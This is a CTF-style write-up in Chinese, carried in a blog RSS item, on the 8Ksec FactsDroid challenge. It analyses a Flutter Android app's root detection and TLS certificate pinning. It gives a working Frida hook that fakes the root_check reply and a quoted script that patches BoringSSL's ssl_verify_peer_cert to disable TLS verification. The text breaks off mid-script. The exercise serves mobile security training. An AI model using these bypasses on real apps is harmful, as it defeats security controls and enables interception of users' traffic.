<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>ONE PIECE 航海日志</title><description>向着伟大航路出发</description><link>https://blog-5w0.pages.dev/</link><language>zh_CN</language><item><title>绕过root与重定向app流量</title><link>https://blog-5w0.pages.dev/posts/bypass-root-redirect-app-traffic/</link><guid isPermaLink="true">https://blog-5w0.pages.dev/posts/bypass-root-redirect-app-traffic/</guid><description>Android root 检测绕过与 App 流量重定向记录</description><pubDate>Wed, 03 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;绕过root与重定向app流量&lt;/h1&gt;
&lt;h1&gt;FactsDroid&lt;/h1&gt;
&lt;p&gt;这个挑战的目标与限制&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| 目标 | 在动态流量篡改工具中拦截 FactsDroid 的 API 流量；操控显示给用户的 fact，可注入自定义内容或抑制真实 fact |
| 约束 ① | 不静态修改原始 APK |
| 约束 ② | 不能修改发往后端的请求 |
| 约束 ③ | 后端 (`uselessfacts.jsph.pl`) 不在挑战范围内，不能利用 |
| 约束 ④ | 响应操控可用 |
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;对apk文件的分析&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;strings lib/x86_64/libapp.so | grep -E &apos;uselessfacts|pinning|root|fetch|certs&apos;
aapt dump badging FactsDroid.apk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到的信息很多&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| 包名 | `com.eightksec.factsdroid` |
| 框架 | Flutter（含 `lib/x86_64/libapp.so` 与 `libflutter.so`） |
| API | `https://uselessfacts.jsph.pl/api/v2/facts/random` |
| 钉死的证书 | `assets/flutter_assets/assets/certs/uselessfacts_jsph_pl.crt`（Let&apos;s Encrypt 颁发给 `uselessfacts.jsph.pl` 的叶证书） |
| 二进制内符号 | `SecurityContext_SetTrustedCertificatesBytes`、`SecureSocket_RegisterBadCertificateCallback`、`Pinning validation likely failed`、`_fetchRandomFact`、`_checkRoot`、`Security Warning: Device appears to be rooted` |
| MainActivity (Java) | 仅声明 channel 名 `com.eightksec.factsdroid/root_check`，****未注册 handler**** |
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;root检测的说明&lt;/h2&gt;
&lt;p&gt;Jadx打开apk，mainactivity如下：&lt;/p&gt;
&lt;p&gt;他的内容很少，主要是继承自AbstractActivityC0004e&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-01.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;去看AbstractActivityC0004e类的实现&lt;/p&gt;
&lt;p&gt;负责启动 Flutter engine、加载libflutter.so、运行 Dart AOT 业务代码 libapp.so。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;**package** G;
**import** android.app.Activity;
**import** android.content.Intent;
**import** android.content.pm.PackageManager;
**import** android.os.Build;
**import** android.os.Bundle;
**import** android.os.Trace;
**import** android.util.Log;
**import** android.view.View;
**import** android.window.OnBackInvokedCallback;
**import** io.flutter.embedding.engine.FlutterJNI;
**import** java.util.Arrays;
**import** java.util.HashMap;
**import** java.util.Iterator;
**import** java.util.List;
**import** java.util.Objects;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着看mainactivity的定义&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;它自己没有实现网络请求逻辑。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;它自己没有实现 UI 逻辑。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;它只留下了一个字符串字段：com.eightksec.factsdroid/root_check。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;他的意义就是&lt;/p&gt;
&lt;p&gt;1.确认app的是从这里启动flutter&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Manifest 里 launcher activity 是 com.eightksec.factsdroid.MainActivity，所以 Frida attach / adb 启动都围绕这个包和入口。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-02.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;2.暴露root_check通道名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Dart侧会通过Flutter MethodChannel 调 Android 侧做 root 检测。但反编译里没看到 setMethodCallHandler，说明 Android侧没有正常回复。这个缺口就是后面用 Frida hook FlutterJNI.handlePlatformMessage，伪造 success(false) 的依据。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&apos;&apos;&apos;&apos;&lt;/p&gt;
&lt;p&gt;可以把他理解成一个“命名管道”&lt;/p&gt;
&lt;p&gt;Flutter应用从开发角度来讲分为两层（但实际有三层，这是技术上）&lt;/p&gt;
&lt;p&gt;1.Dart层（Framework框架层）：真正业务逻辑，比如检查root、请求API，&lt;/p&gt;
&lt;p&gt;更新UI。&lt;/p&gt;
&lt;p&gt;2.Android Java层（Embedder嵌入层）：负责和系统交互，比如查/system/bin/su，调用native，返回检测结果。&lt;/p&gt;
&lt;p&gt;而这两层通信是会用MethodChannel。它需要一个通道名，列如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;com.eightksec.factsdroid/root_check

  正常写法大概是这样：

  new MethodChannel(
      flutterEngine.getDartExecutor().getBinaryMessenger(),
      &quot;com.eightksec.factsdroid/root_check&quot;
  ).setMethodCallHandler((call, result) -&amp;gt; {
      if (call.method.equals(&quot;isDeviceRooted&quot;)) {
          result.success(false);
      }
  });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dart 侧则可能这样调用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;final rooted = await channel.invokeMethod(&quot;isDeviceRooted&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;意思是：Dart 问 Android：“设备 root 了吗？”Android 应该回 true 或 false。&lt;/p&gt;
&lt;p&gt;但这个 APK 的 MainActivity 只有：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public final String f503f = &quot;com.eightksec.factsdroid/root_check&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没有看到类似：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;setMethodCallHandler(...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对B.a函数分析&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;**package** B;



**import** G.G;

**import** P.c;

**import** P.j;

**import** android.os.Build;

**import** android.util.Log;

**import** com.eightksec.factsdroid.MainActivity;

**import** f0.h;

**import** java.io.BufferedReader;

**import** java.io.File;

**import** java.io.InputStreamReader;

**import** l0.g;

**import** org.json.JSONException;

**import** org.json.JSONObject;



*/* JADX INFO: loaded from: classes.dex */*

**public** **final** */* synthetic */* **class** a **implements** j, c {



    */* JADX INFO: renamed from: b, reason: collision with root package name */*

    **public** **final** */* synthetic */* Object f0b;



    **public** */* synthetic */* a(Object obj) {

        **this**.f0b = obj;

    }



    @Override *// P.c
*
    **public** **void** a(Object obj) {

        **boolean** z2 = false;

        **if** (obj != **null**) {

            **try** {

                z2 = ((JSONObject) obj).getBoolean(&quot;handled&quot;);

            } **catch** (JSONException e2) {

                Log.e(&quot;KeyEventChannel&quot;, &quot;Unable to unpack JSON message: &quot; + e2);

            }

        }

        ((G) ((a) **this**.f0b).f0b).a(z2);

    }



    @Override *// P.j
*
    **public** **void** g(C.a aVar, O.j jVar) {

        **boolean** zM;

        **boolean** z2;

        **boolean** z3 = true;

        **int** i2 = MainActivity.f502g;

        h.e((MainActivity) **this**.f0b, &quot;this$0&quot;);

        h.e(aVar, &quot;call&quot;);

        **if** (!h.a((String) aVar.f4c, &quot;isDeviceRooted&quot;)) {

            jVar.b();

            **return**;

        }

        String str = Build.TAGS;

        **if** (str == **null** || !g.M(str, &quot;test-keys&quot;)) {

            String[] strArr = {&quot;/system/app/Superuser.apk&quot;, &quot;/sbin/su&quot;, &quot;/system/bin/su&quot;, &quot;/system/xbin/su&quot;, &quot;/data/local/xbin/su&quot;, &quot;/data/local/bin/su&quot;, &quot;/system/sd/xbin/su&quot;, &quot;/system/bin/failsafe/su&quot;, &quot;/data/local/su&quot;, &quot;/su/bin/su&quot;};

            **int** i3 = 0;

            **while** (true) {

                **if** (i3 &amp;gt;= 10) {

                    Process processExec = **null**;

                    **try** {

                        processExec = Runtime.getRuntime().exec(**new** String[]{&quot;/system/bin/getprop&quot;, &quot;ro.debuggable&quot;});

                        String line = **new** BufferedReader(**new** InputStreamReader(processExec.getInputStream())).readLine();

                        zM = line != **null** ? g.M(line, &quot;1&quot;) : false;

                        processExec.destroy();

                    } **catch** (Throwable unused) {

                        **if** (processExec != **null**) {

                            processExec.destroy();

                        }

                        zM = false;

                    }

                    **if** (!zM) {

                        **try** {

                            Process processExec2 = Runtime.getRuntime().exec(**new** String[]{&quot;su&quot;});

                            **if** (processExec2 != **null**) {

                                processExec2.destroy();

                            }

                            z2 = true;

                        } **catch** (Throwable unused2) {

                            z2 = false;

                        }

                        **if** (!z2) {

                            z3 = false;

                        }

                    }

                } **else** **if** (**new** File(strArr[i3]).exists()) {

                    **break**;

                } **else** {

                    i3++;

                }

            }

        }

        jVar.c(Boolean.valueOf(z3));

    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它检查的 root 痕迹包括：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/system/app/Superuser.apk
  /sbin/su
  /system/bin/su
  /system/xbin/su
  /data/local/xbin/su
  /data/local/bin/su
  /system/sd/xbin/su
  /system/bin/failsafe/su
  /data/local/su
  /su/bin/su
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有：&lt;/p&gt;
&lt;p&gt;Build.TAGS 是否包含 test-keys&lt;/p&gt;
&lt;p&gt;getprop ro.debuggable 是否为 1&lt;/p&gt;
&lt;p&gt;Runtime.exec(&quot;su&quot;) 是否成功&lt;/p&gt;
&lt;p&gt;所以我们的理解是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Dart 层调用 root_check/isDeviceRooted&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Android 层进入 B.a.g()&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在 root 模拟器上这些检测会返回 true&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dart 收到 true&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;App 禁用 Random Fact 按钮，并触发警告：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Security Warning: Device appears to be rooted. Random fact button disabled.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-03.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以后面 Frida 绕过 root 检测有两种思路：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;hook B.a.g()，让它直接 result.success(false)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;更通用地 hook FlutterJNI.handlePlatformMessage，拦截 root_check 通道并伪造 success(false)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;接着分析apk，发现&lt;/p&gt;
&lt;p&gt;业务代码不一定能在jadx的java里看到，因为Dart已编译到libapp.so。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-04.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;**public** b(String str, String str2, String str3, String str4, **boolean** z2) {

        **this**.f257c = str == **null** ? &quot;libapp.so&quot; : str;

        **this**.f258d = str2 == **null** ? &quot;flutter_assets&quot; : str2;

        **this**.f260f = str4;

        **this**.f259e = str3 == **null** ? &quot;&quot; : str3;

        **this**.f256b = z2;

    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说默认Dart AOT库就是libapp.so，默认的资源目录就是flutter_assets。&lt;/p&gt;
&lt;p&gt;然后它的 b(...) 方法里：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;((FlutterJNI) this.f257c).runBundleAndSnapshotFromLibrary(
      aVar.f253a,
      aVar.f255c,
      aVar.f254b,
      (AssetManager) this.f258d,
      list
  );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个函数名非常关键：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;runBundleAndSnapshotFromLibrary
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;意思就是：&lt;/p&gt;
&lt;p&gt;从 native snapshot/library 里运行 Dart 入口函数这里就说明 Java 层把执行权交给 FlutterJNI，FlutterJNI 再去跑 libapp.so 里的 Dart AOT。&lt;/p&gt;
&lt;p&gt;而FlutterJNI 里有 native 方法&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-05.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以执行链大概是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MainActivity
  -&amp;gt; AbstractActivityC0004e / FlutterActivity 逻辑
  -&amp;gt; 创建 FlutterEngine
  -&amp;gt; FlutterJNI.loadLibrary / attachToNative
  -&amp;gt; DartExecutor
  -&amp;gt; runBundleAndSnapshotFromLibrary
  -&amp;gt; libflutter.so 加载并运行 libapp.so 中的 Dart AOT 业务
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解包拿到的两个so文件含义&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;libflutter.so：Flutter engine、Dart runtime、BoringSSL 等运行时&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;libapp.so：Dart 业务代码 AOT 编译后的产物&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;证书验证的说明&lt;/h2&gt;
&lt;p&gt;现在去native层分析libapp.so&lt;/p&gt;
&lt;p&gt;直接用IDA打开分析是比较困难的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-06.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;函数名随机，字符串无法交叉引用&lt;/p&gt;
&lt;p&gt;对于Flutter应用在发布时，会把DART代码编译成机器码&lt;/p&gt;
&lt;p&gt;和引擎代码一起打包到上面的两个so文件里&lt;/p&gt;
&lt;p&gt;而libapp.so经过AOT（ahead of time）编译而成，体积相对较小，这也就是Flutter 默认使用 Release 模式编译。在此模式下，编译工具链会自动移除代码中所有的调试信息，包括原本清晰的函数名。&lt;/p&gt;
&lt;p&gt;而对于Flutter应用，行业中有一个好用的开源工具-Blutter&lt;/p&gt;
&lt;p&gt;https://github.com/worawit/blutter#，但他只能对arm-64的文件进行操作&lt;/p&gt;
&lt;p&gt;windows上使用需要配好环境，然后在x64 Native Tools Command Prompt里使用&lt;/p&gt;
&lt;p&gt;生成的产物：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-07.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;网络逻辑在 blutter_out/asm/facts_droid/services/api_service.dart:10：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;_fetchRandomFact() 调 ApiService.getRandomFact()，见 blutter_out/asm/facts_droid/main.dart:1279&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-08.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;getRandomFact() 先调用 _getHttpClientWithPinning()，见blutter_out/asm/facts_droid/services/api_service.dart:29&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-09.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;_getHttpClientWithPinning() 加载内置证书 assets/certs/uselessfacts_jsph_pl.crt，见 blutter_out/asm/facts_droid/services/api_service.dart:273&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Dart 侧 _getHttpClientWithPinning() 从 assets/certs/uselessfacts_jsph_pl.crt 读取证书，创建 SecurityContext，并调用setTrustedCertificatesBytes() 设置可信证书。随后 HttpClient 使用这个 SecurityContext 发起 HTTPS 请求。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这说明 App 不依赖 Android 系统证书库，而是只信任 APK 内置证书。即使把 Burp/mitmproxy CA 安装到系统证书中，Flutter 的dart:io HttpClient 仍可能不信任 MITM 证书，因此普通抓包会失败。只能在 在&lt;/strong&gt;**&lt;code&gt;libflutter.so&lt;/code&gt;**** 模式扫描 &lt;strong&gt;&lt;strong&gt;&lt;code&gt;ssl_verify_peer_cert&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt; 并 patch 其入口直接返回成功。**&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-10.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;然后创建 SecurityContext 并调用 setTrustedCertificatesBytes()，见 blutter_out/asm/facts_droid/services/&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;api_service.dart:314&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-11.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;到这里可以总结&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Dart端 网络请求存在，并且使用 SecurityContext.setTrustedCertificatesBytes() 做 TLS pinning。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Java 端有意不实现 root_check handler，使 Dart 调用因 &lt;code&gt;MissingPluginException&lt;/code&gt; 走失败分支 → 默认认为 rooted → 禁用 Random Fact 按钮&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;绕过root检测&lt;/h1&gt;
&lt;p&gt;接下来先去绕过root检测&lt;/p&gt;
&lt;p&gt;js脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * antiroot-channel.js — Java/Flutter side patch for FactsDroid root_check.
 *
 * The MainActivity does not register a handler for the
 * `com.eightksec.factsdroid/root_check` MethodChannel.  The Flutter
 * engine therefore replies &quot;no handler&quot;, the Dart future yields null,
 * and the catch-all path concludes the device is rooted.
 *
 * Hook FlutterJNI.handlePlatformMessage.  For that channel send back a
 * synthetic StandardMethodCodec success-envelope holding `false`.
 *
 * Wire format of `StandardMethodCodec.encodeSuccessEnvelope(Boolean.FALSE)`:
 *   byte 0: 0x00    (success tag)
 *   byte 1: 0x02    (StandardMessageCodec value type for `false`)
 *
 * We build that 2-byte envelope ourselves because the Flutter codec
 * helper class is stripped by ProGuard in release builds of this app.
 */

console.log(&apos;[chan] antiroot-channel loading&apos;);

function patch() {
  Java.perform(function () {
    var FlutterJNI;
    try {
      FlutterJNI = Java.use(&apos;io.flutter.embedding.engine.FlutterJNI&apos;);
    } catch (e) {
      console.log(&apos;[chan] FlutterJNI not yet loaded&apos;);
      return false;
    }
    var ByteBuffer = Java.use(&apos;java.nio.ByteBuffer&apos;);

    FlutterJNI.handlePlatformMessage.overload(
      &apos;java.lang.String&apos;, &apos;java.nio.ByteBuffer&apos;, &apos;int&apos;, &apos;long&apos;
    ).implementation = function (channel, message, replyId, messageData) {
      if (channel === &apos;com.eightksec.factsdroid/root_check&apos;) {
        console.log(&apos;[chan] root_check inbound (replyId=&apos; + replyId + &apos;)&apos;);
        try {
          // success(false): tag byte 0x00, then StandardMessageCodec false = 0x02
          var buf = ByteBuffer.allocateDirect(2);
          buf.put(0x00);
          buf.put(0x02);
          this.invokePlatformMessageResponseCallback(replyId, buf, buf.position());
          console.log(&apos;[chan] replied isRooted=false&apos;);
          return;
        } catch (e) {
          console.log(&apos;[chan] reply error: &apos; + e);
        }
      }
      return this.handlePlatformMessage(channel, message, replyId, messageData);
    };
    console.log(&apos;[chan] FlutterJNI.handlePlatformMessage hooked&apos;);
    return true;
  });
}

let chanTries = 0;
const chanTimer = setInterval(function () {
  if (chanTries++ &amp;gt; 80) { clearInterval(chanTimer); console.log(&apos;[chan] giving up&apos;); return; }
  let loaded = false;
  Java.perform(function () {
    try { Java.use(&apos;io.flutter.embedding.engine.FlutterJNI&apos;); loaded = true; }
    catch (e) {}
  });
  if (loaded) { clearInterval(chanTimer); patch(); }
}, 100);

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先激活frida-server，然后先执行命令，再启动app&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS E:\ctf\8Ksec\FactsDroid.apk&amp;gt;  frida -U -W com.eightksec.factsdroid `
&amp;gt;&amp;gt;     -l work\antiroot-channel.js `
&amp;gt;&amp;gt;     --runtime=v8
     ____
    / _  |   Frida 17.8.0 - A world-class dynamic instrumentation toolkit
   | (_| |
    &amp;gt; _  |   Commands:
   /_/ |_|       help      -&amp;gt; Displays the help system
   . . . .       object?   -&amp;gt; Display information about &apos;object&apos;
   . . . .       exit/quit -&amp;gt; Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
   . . . .
   . . . .   Connected to Android Emulator 5554 (id=emulator-5554)
Waiting for spawn to appear...
Handling: Spawn(pid=2950, identifier=&quot;com.eightksec.factsdroid&quot;)
[chan] antiroot-channel loading
Spawned `com.eightksec.factsdroid`. Resuming main thread!
[Android Emulator 5554::re.compile(&apos;com.eightksec.factsdroid&apos;) ]-&amp;gt; [chan] FlutterJNI.handlePlatformMessage hooked
[chan] root_check inbound (replyId=6)
[chan] replied isRooted=false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-12.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;证书校验patch&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;/**

A Frida script that disables Flutter&apos;s TLS verification

This script works on Android x86, Android x64 and iOS x64. It uses pattern matching to find [ssl_verify_peer_cert in handshake.cc](https://github.com/google/boringssl/blob/master/ssl/handshake.cc#L323)

If the script doesn&apos;t work, take a look at https://github.com/NVISOsecurity/disable-flutter-tls-verification#warning-what-if-this-script-doesnt-work 

*/

// Configuration object containing patterns to locate the ssl_verify_peer_cert function for different platforms and architectures.
var config = {
    &quot;ios&quot;:{
        &quot;modulename&quot;: &quot;Flutter&quot;,
        &quot;patterns&quot;:{
            &quot;arm64&quot;: [
                // First pattern is actually for macos
                &quot;FF 83 01 D1 FA 67 01 A9 F8 5F 02 A9 F6 57 03 A9 F4 4F 04 A9 FD 7B 05 A9 FD 43 01 91 F4 03 00 AA 68 31 00 F0 08 01 40 F9 08 01 40 F9 E8 07 00 F9&quot;,
                &quot;FF 83 01 D1 FA 67 01 A9 F8 5F 02 A9 F6 57 03 A9 F4 4F 04 A9 FD 7B 05 A9 FD 43 01 91 F? 03 00 AA ?? 0? 40 F? ?8 ?? 40 F9 ?? ?? 4? F9 ?? 00 00&quot;,
                &quot;FF 43 01 D1 F8 5F 01 A9 F6 57 02 A9 F4 4F 03 A9 FD 7B 04 A9 FD 03 01 91 F3 03 00 AA 14 00 40 F9 88 1A 40 F9 15 E9 40 F9 B5 00 00 B4 B6 46 40 F9&quot;

            ],
        },
    },
    &quot;android&quot;:{
        &quot;modulename&quot;: &quot;libflutter.so&quot;,
        &quot;patterns&quot;:{
            &quot;arm64&quot;: [
                &quot;F? 0F 1C F8 F? 5? 01 A9 F? 5? 02 A9 F? ?? 03 A9 ?? ?? ?? ?? 68 1A 40 F9&quot;,
                &quot;F? 43 01 D1 FE 67 01 A9 F8 5F 02 A9 F6 57 03 A9 F4 4F 04 A9 13 00 40 F9 F4 03 00 AA 68 1A 40 F9&quot;,
                &quot;FF 43 01 D1 FE 67 01 A9 ?? ?? 06 94 ?? 7? 06 94 68 1A 40 F9 15 15 41 F9 B5 00 00 B4 B6 4A 40 F9&quot;,
                &quot;FF ?3 01 D1 F? ?? 01 A9 ?? ?? ?? 94 ?? ?? ?? 52 48 00 00 39 1A 50 40 F9 DA 02 00 B4 48 03 40 F9&quot;,
            ],
            &quot;arm&quot;: [
                &quot;2D E9 F? 4? D0 F8 00 80 81 46 D8 F8 18 00 D0 F8&quot;,
            ],
            &quot;x64&quot;: [
                &quot;55 41 57 41 56 41 55 41 54 53 50 49 89 F? 4? 8B ?? 4? 8B 4? 30 4C 8B ?? ?? 0? 00 00 4D 85 ?? 74 1? 4D 8B&quot;,
                &quot;55 41 57 41 56 41 55 41 54 53 48 83 EC 18 49 89 FF 48 8B 1F 48 8B 43 30 4C 8B A0 28 02 00 00 4D 85 E4 74&quot;,
                &quot;55 41 57 41 56 41 55 41 54 53 48 83 EC 18 49 89 FE 4C 8B 27 49 8B 44 24 30 48 8B 98 D0 01 00 00 48 85 DB&quot;
            ],
            &quot;x86&quot;:[
                &quot;55 89 E5 53 57 56 83 E4 F0 83 EC 20 E8 00 00 00 00 5B 81 C3 2B 79 66 00 8B 7D 08 8B 17 8B 42 18 8B 80 88 01&quot;
            ]

        }
    },
    &quot;windows&quot;: {
        &quot;modulename&quot;: &quot;flutter_windows.dll&quot;,
        &quot;patterns&quot;:{
            &quot;x64&quot;:[
                &quot;41 57 41 56 41 55 41 54 56 57 53 48 83 EC 40 4? 89 CF 48 8B 05 ?? ?? ?? 00 48 31 E0 48 89 44 24 38 4? 8B 31 4? 8B&quot;,
                &quot;41 57 41 56 41 55 41 54 56 57 55 53 48 83 EC 38 48 89 CF 48 8B 05 20 45 C6 00 48 31 E0 48 89 44 24 30 48 8B 31 48&quot;,
            ]
        }
    },
    &quot;linux&quot;:{
        &quot;modulename&quot;: &quot;libflutter_linux_gtk.so&quot;,
        &quot;patterns&quot;:{
            &quot;x64&quot;:[
                // This one actually matches android x64 too
                &quot;55 41 57 41 56 41 55 41 54 53 48 83 EC 18 49 89 FE 4C 8B 27 49 8B 44 24 30 48 8B 98 D0 01 00 00 48 85 DB&quot;
            ]
        }
    }
};

console.log(&quot;[+] Pattern version: Jan 26 2026&quot;)
console.log(&quot;[+] Arch:&quot;, Process.arch)
console.log(&quot;[+] Platform: &quot;, Process.platform)
// Flag to check if TLS validation has already been disabled
var TLSValidationDisabled = false;
var flutterLibraryFound = false;
var tries = 0;
var maxTries = 5;
var timeout = 1000;
var androidBypass = false;
disableTLSValidation();

// Main function to disable TLS validation for Flutter
function disableTLSValidation() {

    // Stop if ready
    if (TLSValidationDisabled) return;

    tries ++;
    if(tries &amp;gt; maxTries &amp;amp;&amp;amp; !androidBypass){
        console.warn(`\n`)
        console.warn(&apos;[!] Flutter library not found. Possible reasons:&apos;);
        console.warn(&apos;[!] - The application does not use Flutter&apos;);
        console.warn(&apos;[!] - The application has not loaded the Flutter library yet&apos;);
        console.warn(&apos;[!] - You are using an emulator + gadget (https://github.com/NVISOsecurity/disable-flutter-tls-verification/issues/43)&apos;);
        console.warn(&apos;[!] The script will continue, but is likely to fail&apos;);
        console.warn(`\n`)
        androidBypass = true;
    }else{
        // No module found yet
        if(m == null){
            if(androidBypass){
                // But we are in bypass mode and are looking for the ssl_verify_peer_certy anyway
                console.log(`[ ] Locating ssl_verify_peer_cert (${tries}/${maxTries})`)
            }
            else{
                // Still looking for flutter lib
                console.log(`[ ] Locating Flutter library ${tries}/${maxTries}`);
            }
        }
        else
        {
            // Module has been located
            console.log(`[ ] Locating ssl_verify_peer_cert (${tries}/${maxTries})`)
        }
    }
    

    // Figure out which patterns to use
    var platformConfig = {}
    if(Java.available){
        platformConfig = config[&quot;android&quot;]
    }
    else if(Process.platform === &apos;darwin&apos;){
        platformConfig = config[&quot;ios&quot;]
    }
    else if(Process.platform in config){
        platformConfig = config[Process.platform]
    }
    else{
        console.log(`[!] Platform not supported: ${Process.platform}`)
    }

    var m = Process.findModuleByName(platformConfig[&quot;modulename&quot;]);

    if (m === null &amp;amp;&amp;amp; !androidBypass) {
        setTimeout(disableTLSValidation, timeout);
        return;
    }
    else{
        if(!androidBypass){
            console.log(`[+] Flutter library located`)
        }
        // reset counter so that searching for ssl_verify_peer_cert also gets x attempts
        if(flutterLibraryFound == false){
            flutterLibraryFound = true;
            tries = 0;
        }
    }

    if (Process.arch in platformConfig[&quot;patterns&quot;])
    {
        var ranges;
        if(Java.available){
            // On Android, getting ranges from the loaded module is buggy, so we revert to Process.enumerateRanges
            ranges = Process.enumerateRanges({protection: &apos;r-x&apos;}).filter(isFlutterRange)
        }else{
            // On iOS, there&apos;s no issue
            ranges = m.enumerateRanges(&apos;r-x&apos;)
        }

        findAndPatch(ranges, platformConfig[&quot;patterns&quot;][Process.arch], Java.available &amp;amp;&amp;amp; Process.arch == &quot;arm&quot; ? 1 : 0);
    }
    else
    {
        console.log(&apos;[!] Processor architecture not supported: &apos;, Process.arch);
    }

    if (!TLSValidationDisabled)
    {        
        if (tries == maxTries)
        {
            if(androidBypass){
                console.warn(`\n`)
                console.warn(`[!] No function matching ssl_verify_peer_cert could be found.`)
                console.warn(`[!] If you are sure that the application is using Flutter, please open an issue:`)
                console.warn(`[!] https://github.com/NVISOsecurity/disable-flutter-tls-verification/issues`)
                console.warn(`\n`)
            }else{
                console.warn(`\n`)
                console.error(`[!] libFlutter was found, but ssl_verify_peer_cert could not be located`)
                console.error(`Please open an issue at https://github.com/NVISOsecurity/disable-flutter-tls-verification/issues`);
                console.warn(`\n`)
            }
            // Not really, but we give up
            TLSValidationDisabled = true
        }
    }
}

// Find and patch the method in memory to disable TLS validation
function findAndPatch(ranges, patterns, thumb) {
   
    ranges.forEach(range =&amp;gt; {
        patterns.forEach(pattern =&amp;gt; {
            var matches = Memory.scanSync(range.base, range.size, pattern);
